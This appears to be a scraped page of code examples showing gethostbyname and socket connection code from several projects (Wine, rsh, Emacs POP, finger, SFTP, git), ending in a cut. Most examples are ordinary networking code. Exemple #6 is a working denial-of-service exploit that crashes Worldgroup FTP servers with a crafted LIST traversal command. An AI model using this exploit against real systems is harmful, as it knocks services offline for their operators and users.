Exemple #1
0
static DWORD resolve_hostname( WCHAR *hostnameW, INTERNET_PORT port, struct sockaddr *sa, socklen_t *sa_len )
{
    char *hostname;
#ifdef HAVE_GETADDRINFO
    struct addrinfo *res, hints;
    int ret;
#else
    struct hostent *he;
    struct sockaddr_in *sin = (struct sockaddr_in *)sa;
#endif

    if (!(hostname = strdupWA( hostnameW ))) return ERROR_OUTOFMEMORY;

#ifdef HAVE_GETADDRINFO
    memset( &hints, 0, sizeof(struct addrinfo) );
    /* Prefer IPv4 to IPv6 addresses, since some web servers do not listen on
     * their IPv6 addresses even though they have IPv6 addresses in the DNS.
     */
    hints.ai_family = AF_INET;

    ret = getaddrinfo( hostname, NULL, &hints, &res );
    if (ret != 0)
    {
        TRACE("failed to get IPv4 address of %s (%s), retrying with IPv6\n", debugstr_w(hostnameW), gai_strerror(ret));
        hints.ai_family = AF_INET6;
        ret = getaddrinfo( hostname, NULL, &hints, &res );
        if (ret != 0)
        {
            TRACE("failed to get address of %s (%s)\n", debugstr_w(hostnameW), gai_strerror(ret));
            heap_free( hostname );
            return ERROR_WINHTTP_NAME_NOT_RESOLVED;
        }
    }
    heap_free( hostname );
    if (*sa_len < res->ai_addrlen)
    {
        WARN("address too small\n");
        freeaddrinfo( res );
        return ERROR_WINHTTP_NAME_NOT_RESOLVED;
    }
    *sa_len = res->ai_addrlen;
    memcpy( sa, res->ai_addr, res->ai_addrlen );
    /* Copy port */
    switch (res->ai_family)
    {
    case AF_INET:
        ((struct sockaddr_in *)sa)->sin_port = htons( port );
        break;
    case AF_INET6:
        ((struct sockaddr_in6 *)sa)->sin6_port = htons( port );
        break;
    }

    freeaddrinfo( res );
    return ERROR_SUCCESS;
#else
    EnterCriticalSection( &cs_gethostbyname );

    he = gethostbyname( hostname );
    heap_free( hostname );
    if (!he)
    {
        TRACE("failed to get address of %s (%d)\n", debugstr_w(hostnameW), h_errno);
        LeaveCriticalSection( &cs_gethostbyname );
        return ERROR_WINHTTP_NAME_NOT_RESOLVED;
    }
    if (*sa_len < sizeof(struct sockaddr_in))
    {
        WARN("address too small\n");
        LeaveCriticalSection( &cs_gethostbyname );
        return ERROR_WINHTTP_NAME_NOT_RESOLVED;
    }
    *sa_len = sizeof(struct sockaddr_in);
    memset( sa, 0, sizeof(struct sockaddr_in) );
    memcpy( &sin->sin_addr, he->h_addr, he->h_length );
    sin->sin_family = he->h_addrtype;
    sin->sin_port = htons( port );

    LeaveCriticalSection( &cs_gethostbyname );
    return ERROR_SUCCESS;
#endif
}
BOOL CAsyncSocketExLayer::ConnectNext(LPCTSTR lpszHostAddress, UINT nHostPort)
{
	ASSERT(GetLayerState()==unconnected);
	ASSERT(m_pOwnerSocket);
	BOOL res = FALSE;
	if (m_pNextLayer)
		res = m_pNextLayer->Connect(lpszHostAddress, nHostPort);
	else if (m_nFamily == AF_INET)
	{
		USES_CONVERSION;

		ASSERT(lpszHostAddress != NULL);

		SOCKADDR_IN sockAddr;
		memset(&sockAddr,0,sizeof(sockAddr));

		LPSTR lpszAscii = T2A((LPTSTR)lpszHostAddress);
		sockAddr.sin_family = AF_INET;
		sockAddr.sin_addr.s_addr = inet_addr(lpszAscii);

		if (sockAddr.sin_addr.s_addr == INADDR_NONE)
		{
			LPHOSTENT lphost;
			lphost = gethostbyname(lpszAscii);
			if (lphost != NULL)
				sockAddr.sin_addr.s_addr = ((LPIN_ADDR)lphost->h_addr)->s_addr;
			else
			{
				WSASetLastError(WSAEINVAL);
				res = FALSE;
			}
		}

		sockAddr.sin_port = htons((u_short)nHostPort);

		res = (SOCKET_ERROR != connect(m_pOwnerSocket->GetSocketHandle(), (SOCKADDR*)&sockAddr, sizeof(sockAddr)) );
	}
	else if (m_nFamily == AF_INET6 || m_nFamily == AF_UNSPEC)
	{
		if (!m_pOwnerSocket->p_getaddrinfo)
		{
			WSASetLastError(WSAEPROTONOSUPPORT);
			return FALSE;
		}
		USES_CONVERSION;

		ASSERT(lpszHostAddress != NULL);

		addrinfo hints, *res0, *res1;
		SOCKET hSocket;
		int error;
		char port[10];

		m_pOwnerSocket->p_freeaddrinfo(m_addrInfo);
		m_nextAddr = 0;
		m_addrInfo = 0;

		memset(&hints, 0, sizeof(addrinfo));
		hints.ai_family = m_nFamily;
		hints.ai_socktype = SOCK_STREAM;
		hints.ai_flags = 0;
		_snprintf(port, 9, "%lu", nHostPort);
		error = m_pOwnerSocket->p_getaddrinfo(T2CA(lpszHostAddress), port, &hints, &res0);
		if (error)
			return FALSE;

		for (res1 = res0; res1; res1 = res1->ai_next)
		{
			if (m_nFamily == AF_UNSPEC)
				hSocket = socket(res1->ai_family, res1->ai_socktype, res1->ai_protocol);
			else
				hSocket = m_pOwnerSocket->GetSocketHandle();

			if (INVALID_SOCKET == hSocket)
			{
				res = FALSE;
				continue;
			}

			if (m_nFamily == AF_UNSPEC)
			{
				m_pOwnerSocket->m_SocketData.hSocket = hSocket;
				m_pOwnerSocket->AttachHandle(hSocket);
				if (!m_pOwnerSocket->AsyncSelect(m_lEvent))
				{
					m_pOwnerSocket->Close();
					res = FALSE;
					continue ;
				}
				if (m_pOwnerSocket->m_pFirstLayer)
				{
					if (WSAAsyncSelect(m_pOwnerSocket->m_SocketData.hSocket, m_pOwnerSocket->GetHelperWindowHandle(), m_pOwnerSocket->m_SocketData.nSocketIndex+WM_SOCKETEX_NOTIFY, FD_READ | FD_WRITE | FD_OOB | FD_ACCEPT | FD_CONNECT | FD_CLOSE) )
					{
						m_pOwnerSocket->Close();
						res = FALSE;
						continue;
					}
				}
				if (m_pOwnerSocket->m_pendingCallbacks.size())
					PostMessage(m_pOwnerSocket->GetHelperWindowHandle(), WM_USER + 2, (WPARAM)m_pOwnerSocket->m_SocketData.nSocketIndex, 0);
			}

			if (m_nFamily == AF_UNSPEC)
			{
				m_pOwnerSocket->m_SocketData.nFamily = m_nFamily = res1->ai_family;
				if (!m_pOwnerSocket->Bind(m_nSocketPort, m_lpszSocketAddress))
				{
					m_pOwnerSocket->m_SocketData.nFamily = m_nFamily = AF_UNSPEC;
					Close();
					continue;
				}
			}

			if (!( res = ( SOCKET_ERROR != connect(m_pOwnerSocket->GetSocketHandle(), res1->ai_addr, res1->ai_addrlen) ) )
				&& WSAGetLastError() != WSAEWOULDBLOCK)
			{
				if (hints.ai_family == AF_UNSPEC)
				{
					m_nFamily = AF_UNSPEC;
					Close();
				}
				continue ;
			}

			m_nFamily = res1->ai_family;
			m_pOwnerSocket->m_SocketData.nFamily = res1->ai_family;
			res = TRUE;
			break;
		}

		if (res1)
			res1 = res0->ai_next;

		if (res1)
		{
			m_addrInfo = res0;
			m_nextAddr = res1;
		}
		else
			m_pOwnerSocket->p_freeaddrinfo(res0);

		if (INVALID_SOCKET == m_pOwnerSocket->GetSocketHandle())
			res = FALSE ;
	}

	if (res || WSAGetLastError() == WSAEWOULDBLOCK)
	{
		SetLayerState(connecting);
	}
	return res;
}
Exemple #3
0
int main (int argc, char **argv)
{
    int index;

    struct passwd *pw;

    struct servent *sp;

    sigset_t sigs, osigs;

    int asrsh, rem;

    pid_t pid = 0;

    uid_t uid;

    char *args, *host;

    set_program_name (argv[0]);

    asrsh = 0;
    host = user = NULL;

    /* If called as something other than "rsh", use it as the host name */
    {
        char *p = strrchr (argv[0], '/');

        if (p)
            ++p;
        else
            p = argv[0];
        if (strcmp (p, "rsh"))
            host = p;
        else
            asrsh = 1;
    }

    /* Parse command line */
    iu_argp_init ("rsh", default_program_authors);
    argp_parse (&argp, argc, argv, ARGP_IN_ORDER, &index, NULL);

    if (index < argc)
        host = argv[index++];

    /* To few args.  */
    if (!host)
        error (1, 0, "host not specified");

    /* If no further arguments, must have been called as rlogin. */
    if (!argv[index])
    {
        if (asrsh)
            *argv = (char *) "rlogin";
        seteuid (getuid ());
        setuid (getuid ());
        execv (PATH_RLOGIN, argv);
        error (1, errno, "cannot execute %s", PATH_RLOGIN);
    }

    argc -= index;
    argv += index;

    /* We must be setuid root.  */
    if (geteuid ())
        error (1, 0, "must be setuid root.\n");

    if (!(pw = getpwuid (uid = getuid ())))
        error (1, 0, "unknown user id");

    /* Accept user1@host format, though "-l user2" overrides user1 */
    {
        char *p = strchr (host, '@');

        if (p)
        {
            *p = '\0';
            if (!user && p > host)
                user = host;
            host = p + 1;
            if (*host == '\0')
                error (1, 0, "empty host name");
        }
    }

#if defined(KERBEROS) || defined(SHISHI)
# ifdef ENCRYPTION
    /* -x turns off -n */
    if (doencrypt)
        null_input_option = 0;
# endif
#endif

    args = copyargs (argv);

    sp = NULL;
#ifdef KERBEROS
    if (use_kerberos)
    {
        sp = getservbyname ((doencrypt ? "ekshell" : "kshell"), "tcp");
        if (sp == NULL)
        {
            use_kerberos = 0;
            warning ("can't get entry for %s/tcp service", doencrypt ? "ekshell" : "kshell");
        }
    }
#elif defined(SHISHI)
    if (use_kerberos)
    {
        sp = getservbyname ("kshell", "tcp");
        if (sp == NULL)
        {
            use_kerberos = 0;
            warning ("can't get entry for %s/tcp service", "kshell");
        }
    }
#endif
    if (sp == NULL)
        sp = getservbyname ("shell", "tcp");
    if (sp == NULL)
        error (1, 0, "shell/tcp: unknown service");


#if defined (KERBEROS) || defined(SHISHI)
  try_connect:
    if (use_kerberos)
    {
        struct hostent *hp;

        /* fully qualify hostname (needed for krb_realmofhost) */
        hp = gethostbyname (host);
        if (hp != NULL && !(host = strdup (hp->h_name)))
            error (1, errno, "strdup");

# if defined (KERBEROS)
        rem = KSUCCESS;
        errno = 0;
        if (dest_realm == NULL)
            dest_realm = krb_realmofhost (host);
# elif defined (SHISHI)
        rem = SHISHI_OK;
        errno = 0;
# endif

# ifdef ENCRYPTION
        if (doencrypt)
#  if defined(SHISHI)
        {
            int i;

            char *term;

            term = xmalloc (strlen (args) + 4);
            strcpy (term, "-x ");
            strcat (term, args);

            rem = krcmd_mutual (&h, &host, sp->s_port, &user, term, &rfd2, dest_realm, &enckey);
            if (rem > 0)
            {
                keytype = shishi_key_type (enckey);
                keylen = shishi_cipher_blocksize (keytype);

                ivtab[0] = &iv1;
                ivtab[1] = &iv2;
                ivtab[2] = &iv3;
                ivtab[3] = &iv4;

                for (i = 0; i < 4; i++)
                {
                    ivtab[i]->ivlen = keylen;

                    switch (keytype)
                    {
                        case SHISHI_DES_CBC_CRC:
                        case SHISHI_DES_CBC_MD4:
                        case SHISHI_DES_CBC_MD5:
                        case SHISHI_DES_CBC_NONE:
                        case SHISHI_DES3_CBC_HMAC_SHA1_KD:
                            ivtab[i]->keyusage = SHISHI_KEYUSAGE_KCMD_DES;
                            ivtab[i]->iv = malloc (ivtab[i]->ivlen);
                            memset (ivtab[i]->iv, 2 * i + 1 * (i < 2) - 4 * (i >= 2), ivtab[i]->ivlen);
                            ivtab[i]->ctx =
                                shishi_crypto (h, enckey, ivtab[i]->keyusage,
                                               shishi_key_type (enckey), ivtab[i]->iv, ivtab[i]->ivlen);
                            break;
                        case SHISHI_ARCFOUR_HMAC:
                        case SHISHI_ARCFOUR_HMAC_EXP:
                            ivtab[i]->keyusage = SHISHI_KEYUSAGE_KCMD_DES + 2 + 4 * i;
                            ivtab[i]->ctx =
                                shishi_crypto (h, enckey, ivtab[i]->keyusage, shishi_key_type (enckey), NULL, 0);
                            break;
                        default:
                            ivtab[i]->keyusage = SHISHI_KEYUSAGE_KCMD_DES + 2 + 4 * i;
                            ivtab[i]->iv = malloc (ivtab[i]->ivlen);
                            memset (ivtab[i]->iv, 0, ivtab[i]->ivlen);
                            ivtab[i]->ctx =
                                shishi_crypto (h, enckey, ivtab[i]->keyusage,
                                               shishi_key_type (enckey), ivtab[i]->iv, ivtab[i]->ivlen);
                    }
                }
            }
            free (term);
        }
        else
#  else
            rem = krcmd_mutual (&host, sp->s_port, user, args, &rfd2, dest_realm, &cred, schedule);
        else
#  endif
# endif
            rem = krcmd (
# if defined (SHISHI)
                            &h, &host, sp->s_port, &user, args, &rfd2, dest_realm);
# else
                            &host, sp->s_port, user, args, &rfd2, dest_realm);
# endif
        if (rem < 0)
        {
            use_kerberos = 0;
            sp = getservbyname ("shell", "tcp");
            if (sp == NULL)
                error (1, 0, "shell/tcp: unknown service");
            if (errno == ECONNREFUSED)
                warning ("remote host doesn't support Kerberos");
            if (errno == ENOENT)
                warning ("can't provide Kerberos auth data");
            goto try_connect;
        }
    }
Exemple #4
0
/*
 * Function: socket_connection
 *
 * Purpose: Opens the network connection with the mail host, without
 * 	doing any sort of I/O with it or anything.
 *
 * Arguments:
 * 	host	The host to which to connect.
 *	flags	Option flags.
 *
 * Return value: A file descriptor indicating the connection, or -1
 * 	indicating failure, in which case an error has been copied
 * 	into pop_error.
 */
static int
socket_connection (char *host, int flags)
{
#ifdef HAVE_GETADDRINFO
  struct addrinfo *res, *it;
  struct addrinfo hints;
  int ret;
#else /* !HAVE_GETADDRINFO */
  struct hostent *hostent;
#endif
  struct servent *servent;
  struct sockaddr_in addr;
  char found_port = 0;
  const char *service;
  int sock;
  char *realhost;
#ifdef KERBEROS
#ifdef KERBEROS5
  krb5_error_code rem;
  krb5_context kcontext = 0;
  krb5_auth_context auth_context = 0;
  krb5_ccache ccdef;
  krb5_principal client, server;
  krb5_error *err_ret;
  register char *cp;
#else
  KTEXT ticket;
  MSG_DAT msg_data;
  CREDENTIALS cred;
  Key_schedule schedule;
  int rem;
#endif /* KERBEROS5 */
#endif /* KERBEROS */

  int try_count = 0;
  int connect_ok;

#ifdef WINDOWSNT
  {
    WSADATA winsockData;
    if (WSAStartup (0x101, &winsockData) == 0)
      have_winsock = 1;
  }
#endif

  memset (&addr, 0, sizeof (addr));
  addr.sin_family = AF_INET;

  /** "kpop" service is  never used: look for 20060515 to see why **/
#ifdef KERBEROS
  service = (flags & POP_NO_KERBEROS) ? POP_SERVICE : KPOP_SERVICE;
#else
  service = POP_SERVICE;
#endif

#ifdef HESIOD
  if (! (flags & POP_NO_HESIOD))
    {
      servent = hes_getservbyname (service, "tcp");
      if (servent)
	{
	  addr.sin_port = servent->s_port;
	  found_port = 1;
	}
    }
#endif
  if (! found_port)
    {
      servent = getservbyname (service, "tcp");
      if (servent)
	{
	  addr.sin_port = servent->s_port;
	}
      else
	{
  /** "kpop" service is  never used: look for 20060515 to see why **/
#ifdef KERBEROS
	  addr.sin_port = htons ((flags & POP_NO_KERBEROS) ?
				POP_PORT : KPOP_PORT);
#else
	  addr.sin_port = htons (POP_PORT);
#endif
	}
    }

#define POP_SOCKET_ERROR "Could not create socket for POP connection: "

  sock = socket (PF_INET, SOCK_STREAM, 0);
  if (sock < 0)
    {
      strcpy (pop_error, POP_SOCKET_ERROR);
      strncat (pop_error, strerror (errno),
	       ERROR_MAX - sizeof (POP_SOCKET_ERROR));
      return (-1);

    }

#ifdef HAVE_GETADDRINFO
  memset (&hints, 0, sizeof(hints));
  hints.ai_socktype = SOCK_STREAM;
  hints.ai_flags = AI_CANONNAME;
  hints.ai_family = AF_INET;
  do
    {
      ret = getaddrinfo (host, service, &hints, &res);
      try_count++;
      if (ret != 0 && (ret != EAI_AGAIN || try_count == 5))
	{
	  strcpy (pop_error, "Could not determine POP server's address");
	  return (-1);
	}
    } while (ret != 0);

  if (ret == 0)
    {
      it = res;
      while (it)
        {
          if (it->ai_addrlen == sizeof (addr))
            {
              struct sockaddr_in *in_a = (struct sockaddr_in *) it->ai_addr;
              memcpy (&addr.sin_addr, &in_a->sin_addr, sizeof (addr.sin_addr));
              if (! connect (sock, (struct sockaddr *) &addr, sizeof (addr)))
                break;
            }
          it = it->ai_next;
        }
      connect_ok = it != NULL;
      if (connect_ok)
        {
          realhost = alloca (strlen (it->ai_canonname) + 1);
          strcpy (realhost, it->ai_canonname);
        }
      freeaddrinfo (res);
    }
#else /* !HAVE_GETADDRINFO */
  do
    {
      hostent = gethostbyname (host);
      try_count++;
      if ((! hostent) && ((h_errno != TRY_AGAIN) || (try_count == 5)))
	{
	  strcpy (pop_error, "Could not determine POP server's address");
	  return (-1);
	}
    } while (! hostent);

  while (*hostent->h_addr_list)
    {
      memcpy (&addr.sin_addr, *hostent->h_addr_list, hostent->h_length);
      if (! connect (sock, (struct sockaddr *) &addr, sizeof (addr)))
	break;
      hostent->h_addr_list++;
    }
  connect_ok = *hostent->h_addr_list != NULL;
  if (! connect_ok)
    {
      realhost = alloca (strlen (hostent->h_name) + 1);
      strcpy (realhost, hostent->h_name);
    }

#endif /* !HAVE_GETADDRINFO */

#define CONNECT_ERROR "Could not connect to POP server: "

  if (! connect_ok)
    {
      CLOSESOCKET (sock);
      strcpy (pop_error, CONNECT_ERROR);
      strncat (pop_error, strerror (errno),
	       ERROR_MAX - sizeof (CONNECT_ERROR));
      return (-1);

    }

#ifdef KERBEROS

#define KRB_ERROR "Kerberos error connecting to POP server: "
  if (! (flags & POP_NO_KERBEROS))
    {
#ifdef KERBEROS5
      if ((rem = krb5_init_context (&kcontext)))
	{
	krb5error:
	  if (auth_context)
	    krb5_auth_con_free (kcontext, auth_context);
	  if (kcontext)
	    krb5_free_context (kcontext);
	  strcpy (pop_error, KRB_ERROR);
	  strncat (pop_error, error_message (rem),
		   ERROR_MAX - sizeof(KRB_ERROR));
	  CLOSESOCKET (sock);
	  return (-1);
	}

      if ((rem = krb5_auth_con_init (kcontext, &auth_context)))
	goto krb5error;

      if (rem = krb5_cc_default (kcontext, &ccdef))
	goto krb5error;

      if (rem = krb5_cc_get_principal (kcontext, ccdef, &client))
	goto krb5error;

      for (cp = realhost; *cp; cp++)
	{
	  if (isupper (*cp))
	    {
	      *cp = tolower (*cp);
	    }
	}

      if (rem = krb5_sname_to_principal (kcontext, realhost,
					 POP_SERVICE, FALSE, &server))
	goto krb5error;

      rem = krb5_sendauth (kcontext, &auth_context,
			   (krb5_pointer) &sock, "KPOPV1.0", client, server,
			  AP_OPTS_MUTUAL_REQUIRED,
			  0,	/* no checksum */
			  0,	/* no creds, use ccache instead */
			  ccdef,
			  &err_ret,
			  0,	/* don't need subsession key */
			  0);	/* don't need reply */
      krb5_free_principal (kcontext, server);
      if (rem)
	{
	  strcpy (pop_error, KRB_ERROR);
	  strncat (pop_error, error_message (rem),
		   ERROR_MAX - sizeof (KRB_ERROR));
#if defined HAVE_KRB5_ERROR_TEXT
	  if (err_ret && err_ret->text.length)
	    {
	      strncat (pop_error, " [server says '",
		       ERROR_MAX - strlen (pop_error) - 1);
	      strncat (pop_error, err_ret->text.data,
		       min (ERROR_MAX - strlen (pop_error) - 1,
			    err_ret->text.length));
	      strncat (pop_error, "']",
		       ERROR_MAX - strlen (pop_error) - 1);
	    }
#elif defined HAVE_KRB5_ERROR_E_TEXT
	  if (err_ret && err_ret->e_text && strlen(*err_ret->e_text))
	    {
	      strncat (pop_error, " [server says '",
		       ERROR_MAX - strlen (pop_error) - 1);
	      strncat (pop_error, *err_ret->e_text,
		       ERROR_MAX - strlen (pop_error) - 1);
	      strncat (pop_error, "']",
		       ERROR_MAX - strlen (pop_error) - 1);
	    }
#endif
	  if (err_ret)
	    krb5_free_error (kcontext, err_ret);
	  krb5_auth_con_free (kcontext, auth_context);
	  krb5_free_context (kcontext);

	  CLOSESOCKET (sock);
	  return (-1);
	}
#else  /* ! KERBEROS5 */
      ticket = (KTEXT) malloc (sizeof (KTEXT_ST));
      rem = krb_sendauth (0L, sock, ticket, "pop", realhost,
			  (char *) krb_realmofhost (realhost),
			  (unsigned long) 0, &msg_data, &cred, schedule,
			  (struct sockaddr_in *) 0,
			  (struct sockaddr_in *) 0,
			  "KPOPV0.1");
      free ((char *) ticket);
      if (rem != KSUCCESS)
	{
	  strcpy (pop_error, KRB_ERROR);
	  strncat (pop_error, krb_err_txt[rem],
		   ERROR_MAX - sizeof (KRB_ERROR));
	  CLOSESOCKET (sock);
	  return (-1);
	}
#endif /* KERBEROS5 */
    }
#endif /* KERBEROS */

  return (sock);
} /* socket_connection */
Exemple #5
0
int main (int argc, char* argv[])
{
	int c, lastc;
	struct in_addr defaddr;
	struct hostent *hp, def;
	struct sockaddr_in sin;
	int s, i;
	char *alist[1], *host;
	char request[100];
	char input[80];
	char* name;

	if (argc >= 2)
		{
		name = argv[1];
		}
	else
		{
		printf("user@hostname? ");
		fflush(stdout);
		name = input;
		do 
			{
			c = getchar();
			if (c=='\b')		/* DIY backspace processing */
				{
				if (name > input)
					name--;
				continue;
				}
			if (c=='\n' || c=='\r')
				break;
			*name++ = c;
			}
		while (name < input+78);
		*name++ = '\0';
		name = input;
		}
	host = strrchr(name, '@');
	if (host==0)
		{
		printf("Usage: finger user@hostname\n");
		exit(-2);
		}
	*host++ = NULL;

	/* Step 1 - resolve the IP address */

	printf("\nLooking up IP address of %s...\n", host);

	if (isdigit(*host) && (defaddr.s_addr = inet_addr(host)) != INADDR_ANY) 
		{
		def.h_name = host;
		def.h_addr_list = alist;
		def.h_addr = (char *)&defaddr;
		def.h_length = sizeof(struct in_addr);
		def.h_addrtype = AF_INET;
		def.h_aliases = 0;
		hp = &def;
		} 
	else
		{
		hp = gethostbyname(host);
		if(!hp) 
			{
			(void)fprintf(stderr, "finger: unknown host: %s\n", host);
			exit(-3);
			}
		}
	sin.sin_family = hp->h_addrtype;
	memcpy((char *)&sin.sin_addr, hp->h_addr, hp->h_length);
	if ((s = socket(hp->h_addrtype, SOCK_STREAM, 0)) < 0) {
		perror("finger: socket");
		exit(-4);
	}

	(void)printf("\n    %s => %s\n", hp->h_name, inet_ntoa(sin.sin_addr));

	/* Step 2 - Connect to the finger port on the target host */

	printf("\nConnecting to %s...", host);
	fflush(stdout);

	sin.sin_port = htons(IPPORT_FINGER);
	if (connect(s, (struct sockaddr *)&sin, sizeof (sin))) {
		perror("finger: connect");
		exit(-5);
	}

	printf("OK\n");

	/* Step 3 - Finger the user and read the result... */

	printf("\nFinger %s@%s\n", name, host);

	/* send the name followed by <CR><LF> */
	sprintf(request, "%s\r\n", name);
	if (write(s, request, strlen(request)) < 0) {
		perror("finger: write");
		close(s);
		exit(-6);
	}

	/* Read from the remote system; once we're connected, we assume some
	 * data.  If none arrives, we hang until the user interrupts.
	 *
	 * If we see a <CR> or a <CR> with the high bit set, treat it as
	 * a newline; if followed by a newline character, only output one
	 * newline.
	 *
	 * Otherwise, all high bits are stripped; if it isn't printable and
	 * it isn't a space, we can simply set the 7th bit.  Every ASCII
	 * character with bit 7 set is printable.
	 */
	lastc = '\n';

	while (recv(s, &request[0], 1, 0) > 0) {
		c = request[0];
		if (c == 0x0d) {
			if (lastc == '\r')	/* ^M^M - skip dupes */
				continue;
			c = '\n';
			lastc = '\r';
		} else {
			if (!isprint(c) && !isspace(c)) {
				c &= 0x7f;
				c |= 0x40;
			}
			if (lastc != '\r' || c != '\n')
				lastc = c;
			else {
				lastc = '\n';
				continue;
			}
		}
		putchar(c);
	}
	if (lastc != '\n')
		putchar('\n');
	close(s);

	/* Step 4 - Check the time on the remote machine as well */

	if ((s = socket(hp->h_addrtype, SOCK_STREAM, 0)) < 0) {
		perror("finger: socket");
		exit(-7);
	}

	sin.sin_port = htons(IPPORT_DAYTIME);
	if (connect(s, (struct sockaddr *)&sin, sizeof (sin))) {
		perror("finger: connect");
		exit(-8);
	}

	i = recv(s, request, sizeof(request)-1, 0);
	if (i<0)
		{
		perror("finger: recv");
		exit(-9);
		}
	request[i] = '\0';

	printf("\nThe time on %s is %s\n", host, request);
	close(s);

	return 0;
}
Exemple #6
0
int main(int argc, char *argv[])
{
        int sock;
        struct sockaddr_in blah;
        struct hostent *he;
        char cgiBuff[1024];
        char *cgiPage[6];
        WSADATA wsaData;
        char cr[] = "\n";

        if (argc < 3)
        {
printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nThis program crash Worldgroup servers 3.xx for windows 95/98/ME/NT/2K.");
printf("\n\rGreets to [WhU]//[GiN]//[LByte]//[WGHACK] projects!\n\r  USAGE:\n\r");
printf("Ftp_dos.exe [HOST] [LOGIN] [PASSWORD] ");
printf("\n\r example : fpt_dos.exe 127.0.0.1 anonymous [email protected] \n");
                exit(1);
        }
        cgiPage[0] = "USER ";
        cgiPage[1] = (argv[2]);
        cgiPage[2] = "PASS ";
        cgiPage[3] = (argv[3]);
        cgiPage[4] = "PASV";
        cgiPage[5] = "LIST */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../\n";

        if(WSAStartup(0x101,&wsaData))
        {
                printf("Unable to initialize WinSock lib.\n");
                exit(1);
        }
printf("Let's crash the World!\n\r");
printf("Coded by the [eaSt]:\n\r");
printf("\nConnecting %s on port 21...\n\n", argv[1]);

        sock = socket(AF_INET,SOCK_STREAM,0);
        blah.sin_family=AF_INET;
        blah.sin_addr.s_addr=inet_addr(argv[1]);
        blah.sin_port=htons(21);
        if ((he = gethostbyname(argv[1])) != NULL)
        {
                memcpy((char *)&blah.sin_addr, he->h_addr, he->h_length);
        }
        else
        {
                if ((blah.sin_addr.s_addr = inet_addr(argv[1]))==INADDR_NONE)
                {
                WSACleanup();
                exit(1);
                }
        }

        if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))!=0)
        {
                WSACleanup();
                exit(1);
        }
        memset(cgiBuff, 0, sizeof(cgiBuff));
        cgiBuff[recv(sock,cgiBuff,sizeof(cgiBuff) - 1 ,0)] = 0;
        printf("<< %s", cgiBuff);
        send(sock,cgiPage[0],strlen(cgiPage[0]),0);
        send(sock,cgiPage[1],strlen(cgiPage[1]),0);
        send(sock,cr,1,0);
        memset(cgiBuff, 0, sizeof(cgiBuff));
        cgiBuff[recv(sock,cgiBuff,sizeof(cgiBuff) - 1 ,0)] = 0;
        printf(">> %s %s\n<< %s", cgiPage[0], cgiPage[1], cgiBuff);
        send(sock,cgiPage[2],strlen(cgiPage[2]),0);
        send(sock,cgiPage[3],strlen(cgiPage[3]),0);
        send(sock,cr,1,0);
        memset(cgiBuff, 0, sizeof(cgiBuff));
        cgiBuff[recv(sock,cgiBuff,sizeof(cgiBuff) - 1 ,0)] = 0;
        printf(">> %s %s\n<< %s", cgiPage[2], cgiPage[3], cgiBuff);
        send(sock,cgiPage[4],strlen(cgiPage[4]),0);
        send(sock,cr,1,0);
        memset(cgiBuff, 0, sizeof(cgiBuff));
        cgiBuff[recv(sock,cgiBuff,sizeof(cgiBuff) - 1 ,0)] = 0;
        printf(">> %s\n<< %s", cgiPage[4], cgiBuff);
        send(sock,cgiPage[5],strlen(cgiPage[5]),0);
        send(sock,cr,1,0);
        memset(cgiBuff, 0, sizeof(cgiBuff));
        cgiBuff[recv(sock,cgiBuff,sizeof(cgiBuff) - 1 ,0)] = 0;
        printf(">> %s\n<< %s", cgiPage[5], cgiBuff);

        printf("Try reconnect to %s\n", argv[1]);
        WSACleanup();
        return 0;
}
Exemple #7
0
bool SFtpFileEngine::sftpConnect()
{
    SFtpConnectionCache* cache = SFtpConnectionCache::getInstance();

    const SFtpConnectionCache::SFtpConnection *conn =
            cache->findConnection(_url);

    if (conn)
    {
        _sock = conn->sock;
        _session = conn->session;
        _sftp_session = conn->sftp_session;

        return true;
    }

    struct hostent *host;

    host = gethostbyname(_url.host().toLocal8Bit().constData());
    if (!host)
        return false;

    _sock = socket(AF_INET, SOCK_STREAM, 0);

    struct sockaddr_in sin;

    sin.sin_family = AF_INET;
    sin.sin_port = htons(_port);
    sin.sin_addr.s_addr = *reinterpret_cast<u_long *>(host->h_addr);
    if (::connect(_sock, reinterpret_cast<struct sockaddr *>(&sin),
                  sizeof(struct sockaddr_in)) != 0)
    {
        closesocket(_sock);

        return false;
    }

    _session = libssh2_session_init();
    if(!_session)
    {
        closesocket(_sock);

        return false;
    }

    libssh2_session_set_blocking(_session, 1);

    if (libssh2_session_handshake(_session, _sock))
    {
        libssh2_session_free(_session);
        closesocket(_sock);

        return false;
    }

    if (libssh2_userauth_password(_session,
                                  _textCodec->fromUnicode(_userName).data(),
                                  _textCodec->fromUnicode(_password).data()))
    {
        libssh2_session_disconnect(_session, "Abnormal Shutdown");
        libssh2_session_free(_session);
        closesocket(_sock);

        return false;
    }

    _sftp_session = libssh2_sftp_init(_session);
    if (!_sftp_session)
    {
        libssh2_session_disconnect(_session, "Abnormal Shutdown");
        libssh2_session_free(_session);
        closesocket(_sock);


        return false;
    }

    libssh2_session_set_blocking(_session, 1);
    libssh2_session_set_timeout(_session, 30 * 1000);

    cache->addConnection(_url, _sock, _session, _sftp_session);

    return true;
}
Exemple #8
0
/*
 * Returns a connected socket() fd, or else die()s.
 */
static int git_tcp_connect_sock(char *host, int flags)
{
	struct strbuf error_message = STRBUF_INIT;
	int sockfd = -1;
	const char *port = STR(DEFAULT_GIT_PORT);
	char *ep;
	struct hostent *he;
	struct sockaddr_in sa;
	char **ap;
	unsigned int nport;
	int cnt;

	get_host_and_port(&host, &port);

	if (flags & CONNECT_VERBOSE)
		fprintf(stderr, "Looking up %s ... ", host);

	he = gethostbyname(host);
	if (!he)
		die("Unable to look up %s (%s)", host, hstrerror(h_errno));
	nport = strtoul(port, &ep, 10);
	if ( ep == port || *ep ) {
		/* Not numeric */
		struct servent *se = getservbyname(port,"tcp");
		if ( !se )
			die("Unknown port %s", port);
		nport = se->s_port;
	}

	if (flags & CONNECT_VERBOSE)
		fprintf(stderr, "done.\nConnecting to %s (port %s) ... ", host, port);

	for (cnt = 0, ap = he->h_addr_list; *ap; ap++, cnt++) {
		memset(&sa, 0, sizeof sa);
		sa.sin_family = he->h_addrtype;
		sa.sin_port = htons(nport);
		memcpy(&sa.sin_addr, *ap, he->h_length);

		sockfd = socket(he->h_addrtype, SOCK_STREAM, 0);
		if ((sockfd < 0) ||
		    connect(sockfd, (struct sockaddr *)&sa, sizeof sa) < 0) {
